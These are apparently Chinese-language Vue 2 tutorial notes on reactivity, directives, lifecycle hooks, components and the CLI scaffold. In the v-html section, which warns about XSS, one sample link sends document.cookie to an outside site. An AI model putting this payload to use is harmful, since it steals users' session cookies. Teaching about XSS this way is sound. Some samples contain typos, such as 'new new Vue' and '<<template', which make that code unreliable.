1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <meta http-equiv="X-UA-Compatible" content="IE=edge"> 6 <meta name="viewport" content="width=device-width, initial-scale=1.0"> 7 <title>Vue检测数据变化的原理_对象</title> 8 <script src="../js/vue.js"></script> 9 </head> 10 <body> 11 <div id="root"> 12 <h2>学校名称:{{name}}</h2> 13 <h2>学校地址:{{address}}</h2> 14 </div> 15 16 <script type="text/javascript"> 17 Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 18 19 const vm = new Vue({ 20 el:'#root', 21 data:{ 22 name:'杰马课堂', 23 address:'天堂', 24 student:{ 25 name:'tom', 26 age:{ 27 rAge:40, 28 sAge:29, 29 }, 30 friends:[ 31 {name:'jerry',age:35} 32 ] 33 } 34 } 35 }) 36 </script> 37 </body> 38 </html>

讲一下解析模板后面的操作—》调用 set 方法时,就会去解析模板----->生成新的虚拟 DOM----->新旧DOM 对比 -----> 更新页面
模拟一下 vue 中的 数据监测
1 <script type="text/javascript" > 2 3 let data = { 4 name:'尚硅谷', 5 address:'北京', 6 } 7 8 //创建一个监视的实例对象,用于监视data中属性的变化 9 const obs = new Observer(data) 10 console.log(obs) 11 12 //准备一个vm实例对象 13 let vm = {} 14 vm._data = data = obs 15 16 function Observer(obj){ 17 //汇总对象中所有的属性形成一个数组 18 const keys = Object.keys(obj) 19 //遍历 20 keys.forEach((k) => { 21 Object.defineProperty(this, k, { 22 get() { 23 return obj[k] 24 }, 25 set(val) { 26 console.log(`${k}被改了,我要去解析模板,生成虚拟DOM.....我要开始忙了`) 27 obj[k] = val 28 } 29 }) 30 }) 31 } 32 </script>
Vue.set 的使用
Vue.set(target,propertyName/index,value) 或
vm.$set(target,propertyName/index,value)
用法:
向响应式对象中添加一个 property,并确保这个新 property 同样是响应式的,且触发视图更新。它必须用于向响应式对象上添加新 property,因为 Vue 无法探测普通的新增 property (比如 vm.myObject.newProperty = 'hi')
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <meta http-equiv="X-UA-Compatible" content="IE=edge"> 6 <meta name="viewport" content="width=device-width, initial-scale=1.0"> 7 <title>Vue.set的使用</title> 8 <script src="../js/vue.js"></script> 9 </head> 10 <body> 11 <div id="root"> 12 <h1>学校信息</h1> 13 <button @click="seeLeader">点击查看校长信息</button> 14 <h2>学校名称:{{name}}</h2> 15 <h2>学校地址:{{address}}</h2> 16 <h2 v-if="school.leader">校长是:{{school.leader}}</h2> 17 <hr> 18 <h1>学生信息</h1> 19 <button @click="addSex">点击添加性别信息</button> 20 <h2>学生姓名:{{student.name}}</h2> 21 <h2 v-if="student.sex">性别:{{student.sex}}</h2> 22 <h2>学生年龄:真实{{student.age.rAge}} 对外:{{student.age.sAge}}</h2> 23 <h2>朋友们</h2> 24 <ul> 25 <li v-for="(f,index) in student.friends" ::key="index"> 26 {{f.name}}-{{f.age}} 27 </li> 28 </ul> 29 30 </div> 31 32 <script type="text/javascript"> 33 Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 34 35 const vm = new Vue({ 36 el:'#root', 37 data:{ 38 school:{ 39 name:'杰马课堂', 40 address:'天堂', 41 }, 42 student:{ 43 name:'tom', 44 age:{ 45 rAge:40, 46 sAge:29, 47 }, 48 friends:[ 49 {name:'jerry',age:35}, 50 {name:'jack',age:36} 51 ] 52 } 53 }, 54 methods: { 55 addSex(){ 56 Vue.set(this.student,'sex','男') 57 }, 58 seeLeader(){ 59 Vue.set(this.school,'leader','马传庆') 60 } 61 }, 62 }) 63 </script> 64 </body> 65 </html>

总结:
Vue监视数据的原理:
- vue会监视data中所有层次的数据
- 如何监测对象中的数据?
通过setter实现监视,且要在new Vue时就传入要监测的数据。
- 对象中后追加的属性,Vue默认不做响应式处理
- 如需给后添加的属性做响应式,请使用如下API:
Vue.set(target,propertyName/index,value) 或
vm.$set(target,propertyName/index,value)
- 如何监测数组中的数据?
通过包裹数组更新元素的方法实现,本质就是做了两件事:
- 调用原生对应的方法对数组进行更新
- 重新解析模板,进而更新页面
- 在Vue修改数组中的某个元素一定要用如下方法:
使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()
Vue.set() 或 vm.$set()
1.15 收集表单数据
若:<input type="text">,则v-model收集的是value值,用户输入的就是value值。
若:<input type="radio">,则v-model收集的是value值,且要给标签配置value值。
若:<input type="checkbox">
1.没有配置input的value属性,那么收集的就是checked(勾选 or 未勾选,是布尔值)
2.配置input的value属性:
v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值)
v-model的初始值是数组,那么收集的的就是value组成的数组
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <meta http-equiv="X-UA-Compatible" content="IE=edge"> 6 <meta name="viewport" content="width=device-width, initial-scale=1.0"> 7 <title>收集表单数据</title> 8 <script src="../js/vue.js"></script> 9 </head> 10 <body> 11 <div id="root"> 12 <form @submit.prevent="demo"> 13 账号:<input type="text" v-model.trim="userInfo.account"><br><br> 14 密码:<input type="password" v-model.trim="userInfo.password"><br><br> 15 性别: 16 男<input type="radio" name="sex" v-model="userInfo.sex" value="male"> 17 女<input type="radio" name="sex" v-model="userInfo.sex" value="female"><br><br> 18 年龄: 19 <input type="number" v-model.number="userInfo.age"><br><br> 20 爱好: 21 抽烟<input type="checkbox" v-model= "userInfo.hobby" value="smoking"> 22 喝酒<input type="checkbox" v-model= "userInfo.hobby" value="drinke"> 23 烫头<input type="checkbox" v-model= "userInfo.hobby" value="tangtou"><br><br> 24 所属校区 25 <select v-model="userInfo.city"> 26 <option value="">请选择校区</option> 27 <option value="beijing">北京</option> 28 <option value="nanjing">南京</option> 29 <option value="dongjing">东京</option> 30 <option value="xijing">西京</option> 31 <option value="tianjing">天津</option> 32 </select><br><br> 33 其他信息: 34 <textarea v-model.lazy="userInfo.other"></textarea><br><br> 35 <input type="checkbox" v-model="userInfo.agree">阅读并接受《用户协议》</a></a><a href="http://www.baidu.com"></a><br><br> 36 <button>注册</button> 37 </form> 38 </div> 39 40 <script> 41 Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 42 new Vue({ 43 el:'#root', 44 data:{ 45 userInfo:{ 46 account:'', 47 password:'', 48 sex:'', 49 hobby:[], 50 city:'', 51 other:'', 52 agree:'', 53 age:'' 54 } 55 }, 56 methods: { 57 demo(){ 58 alert('注册成功'), 59 console.log(JSON.stringify(this.userInfo))//JSON格式打印到控制台 60 } 61 }, 62 }) 63 64 </script> 65 </body> 66 </html>
备注:v-model的三个修饰符:
lazy:失去焦点再收集数据
number:输入字符串转为有效的数字
trim:输入首尾空格过滤
1.17 内置指令
学过的指令:
v-bind:单向绑定解析表达式,可简写为:xxx
v-model:双向数据绑定
v-for:遍历数组/对象/字符串
v-on:绑定事件监听,可简写为@
v-if:条件渲染(动态控制节点是否存在)
v-else:条件渲染(动态控制节点是否存在)
v-show:条件渲染(动态控制节点是否展示)
v-text指令:(使用的比较少)
1.作用:向其所在的节点中渲染文本内容。
2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <meta http-equiv="X-UA-Compatible" content="IE=edge"> 6 <meta name="viewport" content="width=device-width, initial-scale=1.0"> 7 <title>v-text</title> 8 <script src="../js/vue.js"></script> 9 </head> 10 <body> 11 <div id="root"> 12 <div>{{name}}</div> 13 <div v-text="name"></div> 14 </div> 15 16 <script> 17 new Vue({ 18 el:'#root', 19 data:{ 20 name:'杰马集团' 21 } 22 }) 23 </script> 24 </body> 25 </html>
v-html指令:(使用的很少)
1.作用:向指定节点中渲染包含html结构的内容。
2.与插值语法的区别:
v-html会替换掉节点中所有的内容,{{xx}}则不会。
v-html可以识别html结构。
3.严重注意:v-html有安全性问题!!!!
在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <meta http-equiv="X-UA-Compatible" content="IE=edge"> 6 <meta name="viewport" content="width=device-width, initial-scale=1.0"> 7 <title>v-html指令</title> 8 <script src="../js/vue.js"></script> 9 </head> 10 <body> 11 <!-- 准备好一个容器--> 12 <div id="root"> 13 <div>你好,{{name}}</div> 14 <div v-html="str"></div> 15 <div v-html="str2"></div> 16 </div> 17 18 <script type="text/javascript"> 19 Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 20 21 new Vue({ 22 el:'#root', 23 data:{ 24 name:'张三', 25 str:'<h3>你好啊!</h3>', 26 str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>', 27 } 28 }) 29 </script> 30 31 </body> 32 </html>
v-cloak指令(没有值):
- 本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
- 使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
1 <style> 2 [v-cloak]{ 3 display:none; 4 } 5 </style> 6 <!-- 准备好一个容器--> 7 <div id="root"> 8 <h2 v-cloak>{{name}}</h2> 9 </div> 10 <script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script> 11 12 <script type="text/javascript"> 13 console.log(1) 14 Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 15 16 new Vue({ 17 el:'#root', 18 data:{ 19 name:'尚硅谷' 20 } 21 }) 22 </script>
v-once指令:(用的少)
- v-once所在节点在初次动态渲染后,就视为静态内容了。
- 以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能
1 <!-- 准备好一个容器--> 2 <div id="root"> 3 <h2 v-once>初始化的n值是:{{ n }}</h2> 4 <h2>当前的n值是:{{ n }}</h2> 5 <button @click="n++">点我n+1</button> 6 </div> 7 8 <script type="text/javascript"> 9 Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 10 11 new Vue({ 12 el:'#root', 13 data:{ 14 n:1 15 } 16 }) 17 </script>
v-pre指令:(比较没用)
- 跳过其所在节点的编译过程
- 可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译
1 <!-- 准备好一个容器--> 2 <div id="root"> 3 <h2 v-pre>Vue其实很简单</h2> 4 <h2 >当前的n值是:{{n}}</h2> 5 <button @click="n++">点我n+1</button> 6 </div> 7 8 <script type="text/javascript"> 9 Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 10 11 new Vue({ 12 el:'#root', 13 data:{ 14 n:1 15 } 16 }) 17 </script>
1.18 自定义指令
需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。
需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <meta http-equiv="X-UA-Compatible" content="IE=edge"> 6 <meta name="viewport" content="width=device-width, initial-scale=1.0"> 7 <title>自定义指令</title> 8 <script src="../js/vue.js"></script> 9 </head> 10 <body> 11 <div id="root"> 12 <h2>当前的n值是: <span v-text="n"></span></h2> 13 <h2>放大10倍后n值是: <span v-big="n"></span></h2> 14 <button @click="n++">n+1</button> 15 <hr> 16 <input type="text" v-fbind:value="n"> 17 </div> 18 19 <script> 20 new Vue({ 21 el:'#root', 22 data:{ 23 n:1 24 }, 25 directives:{ 26 //big函数何时会被调用?1.指令与元素绑定时2.指令所在的模板被重新解析时 27 big(element,binding){//element:指令所在的元素 binding:本次绑定的信息 28 element.innerText=binding.value *10 29 30 }, 31 fbind:{ 32 //bind:指令与元素成功绑定时调用。 33 bind(element,binding){ 34 element.value=binding.value 35 }, 36 //inserted:指令所在元素被插入页面时调用 37 inserted(element,binding){ 38 element.focus() 39 }, 40 //update:指令所在模板结构被重新解析时调用 41 update(element,binding){ 42 element.value=binding.value 43 } 44 } 45 } 46 }) 47 </script> 48 49 </body> 50 </html>
配置对象中常用的3个回调:
- bind:指令与元素成功绑定时调用。
- inserted:指令所在元素被插入页面时调用。
- update:指令所在模板结构被重新解析时调用。
自定义指令总结:
一.定义语法
1.局部指令:
new Vue({
directives:{指令名,配置对象}
})或
new Vue({
directives{指令名,回调函数}
})
2.全局指令
Vue.directive(指令名,配置对象) 或 Vue.directive(指令名,回调函数)
二.备注
1.指令定义时不加v-,但使用时要加v-
2.指令名如果是多个单词,要使用kebab-case命名,不要用camelCase命名
定义全局指令
1 <!-- 准备好一个容器--> 2 <div id="root"> 3 <input type="text" v-fbind:value="n"> 4 </div> 5 6 <script type="text/javascript"> 7 Vue.config.productionTip = false 8 9 //定义全局指令 10 Vue.directive('fbind', { 11 // 指令与元素成功绑定时(一上来) 12 bind(element, binding){ 13 element.value = binding.value 14 }, 15 // 指令所在元素被插入页面时 16 inserted(element, binding){ 17 element.focus() 18 }, 19 // 指令所在的模板被重新解析时 20 update(element, binding){ 21 element.value = binding.value 22 } 23 }) 24 25 new Vue({ 26 el:'#root', 27 data:{ 28 name: '尚硅谷', 29 n: 1 30 } 31 }) 32 33 </script>
局部指令
1 new Vue({ 2 el: '#root', 3 data: { 4 name:'尚硅谷', 5 n:1 6 }, 7 directives: { 8 // big函数何时会被调用?1.指令与元素成功绑定时(一上来)。2.指令所在的模板被重新解析时。 9 /* 'big-number'(element,binding){ 10 // console.log('big') 11 element.innerText = binding.value * 10 12 }, */ 13 big (element,binding){ 14 console.log('big',this) //注意此处的this是window 15 // console.log('big') 16 element.innerText = binding.value * 10 17 }, 18 fbind: { 19 //指令与元素成功绑定时(一上来) 20 bind (element,binding){ 21 element.value = binding.value 22 }, 23 //指令所在元素被插入页面时 24 inserted (element,binding){ 25 element.focus() 26 }, 27 //指令所在的模板被重新解析时 28 update (element,binding){ 29 element.value = binding.value 30 } 31 } 32 } 33 })
1.19 生命周期
简介生命周期
生命周期:
1.又名:生命周期回调函数,生命周期函数,生命周期钩子
2.是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数
3.生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的
4.生命周期函数中的this指向是vm或组件实例对象
Vue 实例有⼀个完整的⽣命周期,也就是从new Vue()、初始化事件(.once事件)和生命周期、编译模版、挂载Dom -> 渲染、更新 -> 渲染、卸载 等⼀系列过程,称这是Vue的⽣命周期。

beforeCreate(创建前):数据监测(getter和setter)和初始化事件还未开始,此时 data 的响应式追踪、event/watcher 都还没有被设置,也就是说不能访问到data、computed、watch、methods上的方法和数据。
created(创建后):实例创建完成,实例上配置的 options 包括 data、computed、watch、methods 等都配置完成,但是此时渲染得节点还未挂载到 DOM,所以不能访问到 $el属性。
beforeMount(挂载前):在挂载开始之前被调用,相关的render函数首次被调用。此阶段Vue开始解析模板,生成虚拟DOM存在内存中,还没有把虚拟DOM转换成真实DOM,插入页面中。所以网页不能显示解析好的内容
mounted(挂载后):在el被新创建的 vm.$el(就是真实DOM的拷贝)替换,并挂载到实例上去之后调用(将内存中的虚拟DOM转为真实DOM,真实DOM插入页面)。此时页面中呈现的是经过Vue编译的DOM,这时在这个钩子函数中对DOM的操作可以有效,但要尽量避免。一般在这个阶段进行:开启定时器,发送网络请求,订阅消息,绑定自定义事件等等
beforeUpdate(更新前):响应式数据更新时调用,此时虽然响应式数据更新了,但是对应的真实 DOM 还没有被渲染(数据是新的,但页面是旧的,页面和数据没保持同步呢)。
updated(更新后) :在由于数据更改导致的虚拟DOM重新渲染和打补丁之后调用。此时 DOM 已经根据响应式数据的变化更新了。调用时,组件 DOM已经更新,所以可以执行依赖于DOM的操作。然而在大多数情况下,应该避免在此期间更改状态,因为这可能会导致更新无限循环。该钩子在服务器端渲染期间不被调用。
beforeDestroy(销毁前):实例销毁之前调用。这一步,实例仍然完全可用,this 仍能获取到实例。在这个阶段一般进行关闭定时器,取消订阅消息,解绑自定义事件。
- destroyed(销毁后):实例销毁后调用,调用后,Vue 实例指示的所有东西都会解绑定,所有的事件监听器会被移除,所有的子实例也会被销毁。该钩子在服务端渲染期间不被调用。

先判断有没有 el 这个配置项,没有就调用 vm.$mount(el),如果两个都没有就一直卡着,显示的界面就是最原始的容器的界面。有 el 这个配置项,就进行判断有没有 template 这个配置项,没有 template 就将 el 绑定的容器编译为 vue 模板
这个 template 有啥用咧?
第一种情况,有 template:
如果 el 绑定的容器没有任何内容,就一个空壳子,但在 Vue 实例中写了 template,就会编译解析这个 template 里的内容,生成虚拟 DOM,最后将 虚拟 DOM 转为 真实 DOM 插入页面(其实就可以理解为 template 替代了 el 绑定的容器的内容)。

第二种情况,没有 template:
没有 template,就编译解析 el 绑定的容器,生成虚拟 DOM,后面就顺着生命周期执行下去。
总结
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <meta http-equiv="X-UA-Compatible" content="IE=edge"> 6 <meta name="viewport" content="width=device-width, initial-scale=1.0"> 7 <title>引出生命周期</title> 8 <script src="../js/vue.js"></script> 9 </head> 10 <body> 11 <div id="root"> 12 <h2 :style="{opacity}">一起学习Vue</h2> 13 <button @click="stop">点我停止变换</button> 14 </div> 15 16 <script> 17 new Vue({ 18 el:'#root', 19 data:{ 20 opacity:1 21 }, 22 methods: { 23 stop(){ 24 this.$destroy();//vm被干掉,准备调用销毁流程 25 } 26 }, 27 28 //Vue完成模板解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mounted 29 mounted(){ 30 this.timer= setInterval(() => {//定时器:按照指定的周期时间来调用函数或计算表达 31 this.opacity -= 0.01 32 if(this.opacity <= 0) this.opacity = 1 33 }, 16) 34 }, 35 beforeDestroy() {//销毁流程 36 clearInterval(this.timer) 37 }, 38 }) 39 40 </script> 41 </body> 42 </html>
常用的生命周期钩子:
1.mounted:发送ajax请求,启动定时器,绑定自定义事件,订阅消息等(初始化操作)
2.beforeDestroy:清除定时器,解绑自定义事件,取消订阅消息等(收尾工作)
关于销毁Vue实例:
1.销毁后借助Vue开发者工具看不到任何信息
2.销毁后自定义事件会失效,但原生DOM事件依然有效
3.一般不会在beforeDestroy操作数据,也不会再触发更新流程了
1.20 非单文件组件
基本使用
Vue中使用组件的三大步骤:
- 定义组件(创建组件)
- 注册组件
- 使用组件(写组件标签)
定义组件
使用Vue.extend(options)创建,其中options和new Vue(options)时传入的那个options几乎一样,但也有点区别;
区别如下:
el不要写,为什么? ——— 最终所有的组件都要经过一个vm的管理,由vm中的el决定服务哪个容器。
data必须写成函数,为什么? ———— 避免组件被复用时,数据存在引用关系。
注册组件
- 局部注册:靠new Vue的时候传入components选项
- 全局注册:靠Vue.component(‘组件名’,组件)
编写组件标签
<school></school>
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <meta http-equiv="X-UA-Compatible" content="IE=edge"> 6 <meta name="viewport" content="width=device-width, initial-scale=1.0"> 7 <title>基本使用</title> 8 <script src="../js/vue.js"></script> 9 </head> 10 <body> 11 <div id="root"> 12 <!-- 编写组件标签 --> 13 <school></school> 14 <hr> 15 <hello></hello> 16 <hr> 17 <student></student> 18 19 </div> 20 <div id="root2"> 21 <hello></hello> 22 </div> 23 24 25 <script> 26 //创建school组件 27 const school = Vue.extend({ 28 template:` 29 <div> 30 <h2>学校名称:{{schoolName}}</h2> 31 <h2>学校地址:{{schoolAddress}}</h2> 32 <button @click="showName" >点击提示学校名</button> 33 </div> 34 `, 35 data() { 36 return { 37 schoolName:'杰马课堂', 38 schoolAddress:'天堂', 39 } 40 }, 41 methods: { 42 showName(){ 43 alert(this.schoolName)//弹窗 44 } 45 }, 46 }); 47 48 //创建student组件 49 const student=Vue.extend({ 50 template:` 51 <div> 52 <h2>学生姓名:{{studentName}}</h2> 53 <h2>学校地址:{{studentAge}}</h2> 54 </div> 55 `, 56 data() { 57 return { 58 studentName:'李四', 59 studentAge:'18' 60 } 61 }, 62 }); 63 64 //创建hello组件 65 const hello=Vue.extend({ 66 template:` 67 <div> 68 <h2>你好啊:{{name}}</h2> 69 </div> 70 `, 71 data() { 72 return { 73 name:'Tom' 74 } 75 }, 76 }) 77 78 //注册组件(全局注册) 79 Vue.component('hello',hello)//('组件名字',位置) 80 81 82 83 new Vue({ 84 el:'#root', 85 //注册组件(局部注册) 86 components:{ 87 school, 88 student 89 } 90 }); 91 92 new Vue({ 93 el:'#root2', 94 95 }) 96 97 98 /* 创建vm 99 new Vue({ 100 el:'#root', 101 data:{ 102 schoolName:'杰马课堂', 103 schoolAddress:'天堂', 104 studentName:'李四', 105 studentAge:'18' 106 }, 107 }) */ 108 </script> 109 </body> 110 </html>
几个注意点:
关于组件名:
一个单词组成:
- 第一种写法(首字母小写):school
- 第二种写法(首字母大写):School
多个单词组成:
- 第一种写法(kebab-case命名):my-school
- 第二种写法(CamelCase命名):MySchool (需要Vue脚手架支持)
备注:
(1).组件名尽可能回避HTML中已有的元素名称,例如:h2、H2都不行。
(2).可以使用name配置项指定组件在开发者工具中呈现的名字。
关于组件标签:
第一种写法:<school></school>
第二种写法:<school/>
备注:不用使用脚手架时,会导致后续组件不能渲染。
一个简写方式:
const school = Vue.extend(options) 可简写为:const school = options
组件的嵌套
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <meta http-equiv="X-UA-Compatible" content="IE=edge"> 6 <meta name="viewport" content="width=device-width, initial-scale=1.0"> 7 <title>组件的嵌套</title> 8 <script src="../js/vue.js"></script> 9 </head> 10 <body> 11 <div id="root"> 12 <!-- <app></app> --> 13 14 </div> 15 16 17 <script> 18 19 //创建hello组件 20 const hello=Vue.extend({ 21 template:` 22 <div> 23 <h1>{{msg}}</h1> 24 </div> 25 `, 26 data() { 27 return { 28 msg:'欢迎来到杰马课堂学习' 29 } 30 }, 31 }) 32 //定义student组件 33 const student=Vue.extend({ 34 template:` 35 <div> 36 <h3>学生姓名:{{name}}</h3> 37 <h3>学生年龄:{{age}}</h3> 38 </div> 39 `, 40 data() { 41 return { 42 name:'Tom', 43 age:'18' 44 } 45 }, 46 }) 47 //定义school组件 48 const school=Vue.extend({ 49 template:` 50 <div> 51 <h2>学校名称:{{name}}</h2> 52 <h2>学校地址:{{address}}</h2> 53 <student></student> 54 </div> 55 `, 56 data() { 57 return { 58 name:'杰马课堂', 59 address:'天堂' 60 } 61 }, 62 //注册组件(局部) 63 components:{ 64 student 65 } 66 }); 67 68 //定义app组件,用来管理其他组件 69 const app=Vue.extend({ 70 template:` 71 <div> 72 <hello></hello> 73 <school></school> 74 </div> 75 `, 76 77 components:{ 78 school, 79 hello 80 } 81 }) 82 83 84 new Vue({ 85 template:`<app></app>`, 86 el:'#root', 87 //注册组件(局部) 88 components:{app} 89 }) 90 </script> 91 </body> 92 </html>
VueComponent
- school组件本质是一个名为VueComponent的构造函数,且不是程序员定义的,是Vue.extend生成的。
- 我们只需要写或,Vue解析时会帮我们创建school组件的实例对象,即Vue帮我们执行的:new VueComponent(options)。
- 特别注意:每次调用Vue.extend,返回的都是一个全新的VueComponent!!!!(这个VueComponent可不是实例对象)
- 关于this指向:
组件配置中:data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【VueComponent实例对象】。
new Vue(options)配置中:data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【Vue实例对象】。
- VueComponent的实例对象,以后简称vc(也可称之为:组件实例对象)。Vue的实例对象,以后简称vm。
一个重要的内置关系
- 一个重要的内置关系:VueComponent.prototype.proto === Vue.prototype
- 为什么要有这个关系:让组件实例对象(vc)可以访问到 Vue原型上的属性、方法。

1.21 单文件组件
单文件组件就是将一个组件的代码写在 .vue 这种格式的文件中,webpack 会将 .vue 文件解析成 html,css,js这些形式。
School.vue
1 <template> 2 <div class="demo"> 3 <h2>学校名称:{{name}}</h2> 4 <h2>学校地址:{{address}}</h2> 5 <button @click="showName">点我提示学校名</button> 6 </div> 7 </template> 8 9 <script> 10 export default {//默认暴露+创建组件简写 11 name:'School',//组件名 12 data() { 13 return { 14 name:'杰马课堂', 15 address:'天堂' 16 } 17 }, 18 19 methods: { 20 showName(){ 21 alert(this.schoolName) 22 } 23 }, 24 } 25 26 // export default school//默认暴露 27 </script> 28 29 <style> 30 .demo{ 31 background-color: darkturquoise 32 } 33 </style>
Student.vue
1 <template> 2 <div class="demo"> 3 <h2>学生姓名:{{name}}</h2> 4 <h2>学生年龄:{{age}}</h2> 5 </div> 6 </template> 7 8 <script> 9 export default { 10 name:'Student', 11 data() { 12 return { 13 name:'Tom', 14 age:18 15 } 16 }, 17 } 18 </script> 19 20 <style> 21 .demo{ 22 background-color: blue 23 } 24 </style>
App.vue
用来汇总所有的组件(大总管)
1 <<template> 2 <div> 3 <School></School> 4 <Student></Student> 5 </div> 6 </template> 7 8 <script> 9 //引入组件 10 import School from './School' 11 import Student from './Student' 12 13 export default { 14 name: 'App', 15 components:{ 16 School, 17 Student 18 }, 19 }; 20 </script>
main.js
在这个文件里面创建 vue 实例
1 import App from './App.vue' 2 3 new new Vue({ 4 el:'#root', 5 template:`<App></App>`, 6 components:{App}, 7 })
index.html
在这写 vue 要绑定的容器
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <meta http-equiv="X-UA-Compatible" content="IE=edge"> 6 <meta name="viewport" content="width=device-width, initial-scale=1.0"> 7 <title>单文件组件</title> 8 </head> 9 <body> 10 <div id="root"> 11 12 </div> 13 <script src="../js/vue.js"></script> 14 <script src="./main.js"></script> 15 </body> 16 </html>
2. vue脚手架,自定义事件,插槽等复杂内容
2.1 脚手架
使用前置:
第一步(没有安装过的执行):全局安装 @vue/cli
npm install -g @vue/cli
第二步:切换到要创建项目的目录,然后使用命令创建项目
vue create xxxxx
第三步:启动项目
npm run serve
脚手架文件结构
1 ├── node_modules 2 ├── public 3 │ ├── favicon.ico: 页签图标 4 │ └── index.html: 主页面 5 ├── src 6 │ ├── assets: 存放静态资源 7 │ │ └── logo.png 8 │ │── component: 存放组件 9 │ │ └── HelloWorld.vue 10 │ │── App.vue: 汇总所有组件 11 │ │── main.js: 入口文件 12 ├── .gitignore: git版本管制忽略的配置 13 ├── babel.config.js: babel的配置文件 14 ├── package.json: 应用包配置文件 15 ├── README.md: 应用描述文件 16 ├── package-lock.json:包版本控制文件
render函数
插入一个小知识:
使用 import 导入第三方库的时候不需要 加 ‘./’
导入我们自己写的:
import App from './App.vue'
导入第三方的
1 import Vue from 'vue'
之前的写法是这样:
1 import App from './App.vue' 2 3 new Vue({ 4 el:'#root', 5 template:`<App></App>`, 6 components:{App}, 7 })
因为 render 函数内并没有用到 this,所以可以简写成箭头函数:
1 new Vue({ 2 // render: h => h(App), 3 render: (createElement) => { 4 return createElement(App) 5 } 6 }).$mount('#app')
再简写: 1 new Vue({ 2 // render: h => h(App), 3 render: createElement => createElement(App) 4 }).$mount('#app')
最后把 createElement 换成 h 就完事了。
来个不同版本 vue 的区别
vue.js与vue.runtime.xxx.js的区别:
vue.js是完整版的Vue,包含:核心功能+模板解析器。
vue.runtime.xxx.js是运行版的Vue,只包含:核心功能;没有模板解析器。
因为vue.runtime.xxx.js没有模板解析器,所以不能使用template配置项,需要使用render函数接收到的createElement函数去指定具体内容。
修改脚手架的默认配置
- 使用vue inspect > output.js可以查看到Vue脚手架的默认配置。
- 使用vue.config.js可以对脚手架进行个性化定制,详情见:https://cli.vuejs.org/zh
2.2 vue 零碎的一些知识
ref属性
被用来给元素或子组件注册引用信息(id的替代者)
应用在html标签上获取的是真实DOM元素,应用在组件标签上是组件实例对象(vc)
使用方式:
打标识:<h1 ref="xxx">.....</h1>或 <School ref="xxx"></School>
获取:this.$refs.xxx
1 <template lang=""> 2 <div> 3 <h1 v-text="msg" ref="title"></h1> 4 <button @click="showDom">点击输出上方DOM元素</button> 5 <School></School> 6 </div> 7 </template> 8 <script> 9 import School from './components/School' 10 export default { 11 name:'App', 12 data() { 13 return { 14 msg:'欢迎来到杰马' 15 } 16 }, 17 methods: { 18 showDom(){ 19 console.log(this.$refs.title) 20 } 21 }, 22 // eslint-disable-next-line vue/no-unused-components 23 components:{School} 24 } 25 </script> 26 <style lang=""> 27 28 </style>
props配置项
1.功能:让组件接收外部传过来的数据
2.传递数据:<Demo name="xxx"/>
3.接收数据:
第一种方式(只接收):props:['name']
第二种方式(限制类型):props:{name:String}
第三种方式(限制类型、限制必要性、指定默认值)
1 <template> 2 <div> 3 <h1>{{msg}}</h1> 4 <h2>学生姓名:{{name}}</h2> 5 <h2>学生性别:{{sex}}</h2> 6 <h2>学生年龄:{{myAge+1}}</h2> 7 <button @click="updateAge">修改年龄</button> 8 </div> 9 </template> 10 11 <script> 12 export default { 13 // eslint-disable-next-line vue/multi-word-component-names 14 name: 'Student', 15 16 data() { 17 return { 18 msg:'杰马课堂大弟子', 19 myAge:this.age 20 }; 21 }, 22 props:['name','age','sex'], //简单声明接收 23 24 methods: { 25 updateAge(){ 26 this.myAge++ 27 } 28 }, 29 //接收的同时对数据进行类型限制 30 /* props:{ 31 name:String, 32 age:Number, 33 sex:String 34 } */ 35 36 //接收的同时对数据进行类型限制+默认值的指定+必要性的限制 37 /* props:{ 38 name:{ 39 type:String,//name的类型是字符串 40 required:true,//name是必要的 41 }, 42 age:{ 43 type:Number, 44 default:99 45 }, 46 sex:{ 47 type:String, 48 required:true, 49 }, 50 } */ 51 52 }; 53 </script>
备注:props是只读的,Vue底层会监测你对props的修改,如果进行了修改,就会发出警告,若业务需求确实需要修改,那么请复制props的内容到data中一份,然后去修改data中的数据。
mixin(混入)
混入 (mixin) 提供了一种非常灵活的方式,来分发 Vue 组件中的可复用功能。一个混入对象可以包含任意组件选项。当组件使用混入对象时,所有混入对象的选项将被“混合”进入该组件本身的选项。
